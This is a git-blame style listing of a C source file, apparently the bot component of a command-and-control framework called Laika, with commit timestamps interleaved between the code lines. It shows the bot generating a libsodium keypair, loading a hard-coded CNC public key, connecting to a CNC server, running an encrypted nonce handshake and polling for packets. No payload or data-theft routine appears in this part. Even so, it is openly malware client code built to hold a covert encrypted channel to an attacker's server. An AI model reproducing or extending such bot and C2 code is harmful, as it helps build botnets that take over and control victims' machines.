2022-01-25 03:46:29 +00:00
|
|
|
#include "lmem.h"
|
2022-01-28 01:55:28 +00:00
|
|
|
#include "lrsa.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
#include "lerror.h"
|
|
|
|
#include "bot.h"
|
|
|
|
|
2022-01-25 19:53:17 +00:00
|
|
|
LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
2022-01-29 06:26:15 +00:00
|
|
|
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + LAIKAENC_SIZE(LAIKA_NONCESIZE)
|
2022-01-25 03:46:29 +00:00
|
|
|
};
|
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
|
|
|
uint8_t nonce[LAIKA_NONCESIZE];
|
2022-01-28 01:55:28 +00:00
|
|
|
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
2022-01-31 01:10:10 +00:00
|
|
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
2022-01-28 01:55:28 +00:00
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
/* read & decrypt nonce */
|
|
|
|
laikaS_readENC(&peer->sock, nonce, LAIKA_NONCESIZE, bot->pub, bot->priv);
|
|
|
|
|
|
|
|
/* check nonce */
|
|
|
|
if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0)
|
|
|
|
LAIKA_ERROR("mismatched nonce!\n");
|
|
|
|
|
|
|
|
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
|
|
|
LAIKA_DEBUG("handshake accepted by cnc!\n")
|
2022-01-25 03:46:29 +00:00
|
|
|
}
|
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = {
|
|
|
|
[LAIKAPKT_HANDSHAKE_RES] = handleHandshakeResponse
|
|
|
|
};
|
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
struct sLaika_bot *laikaB_newBot(void) {
|
|
|
|
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
2022-01-28 01:55:28 +00:00
|
|
|
size_t _unused;
|
2022-01-25 03:46:29 +00:00
|
|
|
|
|
|
|
laikaP_initPList(&bot->pList);
|
|
|
|
bot->peer = laikaS_newPeer(
|
2022-01-31 01:10:10 +00:00
|
|
|
laikaB_handlerTbl,
|
2022-01-25 03:46:29 +00:00
|
|
|
laikaB_pktSizeTbl,
|
|
|
|
&bot->pList,
|
|
|
|
(void*)bot
|
|
|
|
);
|
2022-01-28 01:55:28 +00:00
|
|
|
laikaS_setKeys(bot->peer, bot->priv, bot->pub);
|
|
|
|
|
|
|
|
/* generate keypair */
|
|
|
|
if (sodium_init() < 0) {
|
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("LibSodium failed to initialize!\n");
|
|
|
|
}
|
|
|
|
|
|
|
|
if (crypto_box_keypair(bot->pub, bot->priv) != 0) {
|
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("Failed to gen keypair!\n");
|
|
|
|
}
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-01-29 06:26:15 +00:00
|
|
|
/* read cnc's public key into peerPub */
|
2022-01-28 01:55:28 +00:00
|
|
|
if (sodium_hex2bin(bot->peer->peerPub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
|
|
|
|
laikaB_freeBot(bot);
|
|
|
|
LAIKA_ERROR("Failed to init cnc public key!\n");
|
|
|
|
}
|
|
|
|
|
|
|
|
/* gen nonce test */
|
|
|
|
randombytes_buf(bot->nonce, LAIKA_NONCESIZE);
|
2022-01-25 03:46:29 +00:00
|
|
|
return bot;
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaB_freeBot(struct sLaika_bot *bot) {
|
|
|
|
laikaP_cleanPList(&bot->pList);
|
|
|
|
laikaS_freePeer(bot->peer);
|
|
|
|
laikaM_free(bot);
|
|
|
|
}
|
|
|
|
|
|
|
|
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
|
|
|
struct sLaika_socket *sock = &bot->peer->sock;
|
|
|
|
|
|
|
|
/* setup socket */
|
|
|
|
laikaS_connect(sock, ip, port);
|
|
|
|
laikaS_setNonBlock(sock);
|
|
|
|
|
|
|
|
laikaP_addSock(&bot->pList, sock);
|
|
|
|
|
|
|
|
/* queue handshake request */
|
|
|
|
laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
|
|
|
|
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
|
2022-01-25 17:58:36 +00:00
|
|
|
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
|
|
|
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
2022-01-31 01:10:10 +00:00
|
|
|
laikaS_writeByte(sock, PEER_BOT);
|
2022-01-29 06:26:15 +00:00
|
|
|
laikaS_writeENC(sock, bot->nonce, LAIKA_NONCESIZE, bot->peer->peerPub); /* write encrypted nonce test */
|
2022-01-28 01:55:28 +00:00
|
|
|
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
|
2022-01-25 03:46:29 +00:00
|
|
|
|
|
|
|
if (!laikaS_handlePeerOut(bot->peer))
|
|
|
|
LAIKA_ERROR("failed to send handshake request!\n")
|
|
|
|
}
|
|
|
|
|
|
|
|
bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
|
|
|
|
struct sLaika_pollEvent *evnt;
|
|
|
|
int numEvents;
|
|
|
|
|
|
|
|
evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
|
|
|
|
|
|
|
|
if (numEvents == 0) /* no events? timeout was reached */
|
|
|
|
return false;
|
|
|
|
|
2022-01-25 17:58:36 +00:00
|
|
|
LAIKA_TRY
|
2022-01-25 03:46:29 +00:00
|
|
|
if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer))
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _BOTKILL;
|
2022-01-25 03:46:29 +00:00
|
|
|
|
|
|
|
if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer))
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _BOTKILL;
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-01-25 17:58:36 +00:00
|
|
|
if (!evnt->pollIn && !evnt->pollOut)
|
2022-01-25 18:13:04 +00:00
|
|
|
goto _BOTKILL;
|
2022-01-25 17:58:36 +00:00
|
|
|
LAIKA_CATCH
|
2022-01-25 18:13:04 +00:00
|
|
|
_BOTKILL:
|
2022-01-25 17:58:36 +00:00
|
|
|
laikaS_kill(&bot->peer->sock);
|
|
|
|
LAIKA_TRYEND
|
2022-01-25 03:46:29 +00:00
|
|
|
|
|
|
|
return true;
|
|
|
|
}
|